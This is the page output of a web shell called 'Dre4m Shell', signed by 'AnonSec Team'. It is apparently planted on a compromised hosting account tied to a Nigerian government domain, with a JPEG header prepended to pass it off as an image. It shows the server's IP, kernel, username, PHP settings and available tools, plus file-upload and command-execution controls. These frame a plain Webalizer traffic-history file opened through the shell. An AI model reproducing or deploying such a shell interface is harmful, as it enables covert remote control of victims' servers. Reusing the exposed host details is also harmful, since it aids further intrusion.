ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.138.60.32
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/tmp/webalizer/consolidated.nicn.gov.ng/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/tmp/webalizer/consolidated.nicn.gov.ng/webalizer.hist
# Webalizer V2.23-08 History Data - 03/Nov/2020 04:15:07 (120 month)
11 2020 1 1 1 1 2 2 1 1
10 2020 26 17 17 11 6 8 16 15
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0
9 2015 0 0 0 0 0 0 0 0
8 2015 0 0 0 0 0 0 0 0
7 2015 0 0 0 0 0 0 0 0
6 2015 0 0 0 0 0 0 0 0
5 2015 0 0 0 0 0 0 0 0
4 2015 0 0 0 0 0 0 0 0
3 2015 0 0 0 0 0 0 0 0
2 2015 0 0 0 0 0 0 0 0
1 2015 0 0 0 0 0 0 0 0
12 2014 0 0 0 0 0 0 0 0
11 2014 0 0 0 0 0 0 0 0
10 2014 0 0 0 0 0 0 0 0
9 2014 0 0 0 0 0 0 0 0
8 2014 0 0 0 0 0 0 0 0
7 2014 0 0 0 0 0 0 0 0
6 2014 0 0 0 0 0 0 0 0
5 2014 0 0 0 0 0 0 0 0
4 2014 0 0 0 0 0 0 0 0
3 2014 0 0 0 0 0 0 0 0
2 2014 0 0 0 0 0 0 0 0
1 2014 0 0 0 0 0 0 0 0
12 2013 0 0 0 0 0 0 0 0
11 2013 0 0 0 0 0 0 0 0
10 2013 0 0 0 0 0 0 0 0
9 2013 0 0 0 0 0 0 0 0
8 2013 0 0 0 0 0 0 0 0
7 2013 0 0 0 0 0 0 0 0
6 2013 0 0 0 0 0 0 0 0
5 2013 0 0 0 0 0 0 0 0
4 2013 0 0 0 0 0 0 0 0
3 2013 0 0 0 0 0 0 0 0
2 2013 0 0 0 0 0 0 0 0
1 2013 0 0 0 0 0 0 0 0
12 2012 0 0 0 0 0 0 0 0
11 2012 0 0 0 0 0 0 0 0
10 2012 0 0 0 0 0 0 0 0
9 2012 0 0 0 0 0 0 0 0
8 2012 0 0 0 0 0 0 0 0
7 2012 0 0 0 0 0 0 0 0
6 2012 0 0 0 0 0 0 0 0
5 2012 0 0 0 0 0 0 0 0
4 2012 0 0 0 0 0 0 0 0
3 2012 0 0 0 0 0 0 0 0
2 2012 0 0 0 0 0 0 0 0
1 2012 0 0 0 0 0 0 0 0
12 2011 0 0 0 0 0 0 0 0
11 2011 0 0 0 0 0 0 0 0
10 2011 0 0 0 0 0 0 0 0
9 2011 0 0 0 0 0 0 0 0
8 2011 0 0 0 0 0 0 0 0
7 2011 0 0 0 0 0 0 0 0
6 2011 0 0 0 0 0 0 0 0
5 2011 0 0 0 0 0 0 0 0
4 2011 0 0 0 0 0 0 0 0
3 2011 0 0 0 0 0 0 0 0
2 2011 0 0 0 0 0 0 0 0
1 2011 0 0 0 0 0 0 0 0
12 2010 0 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team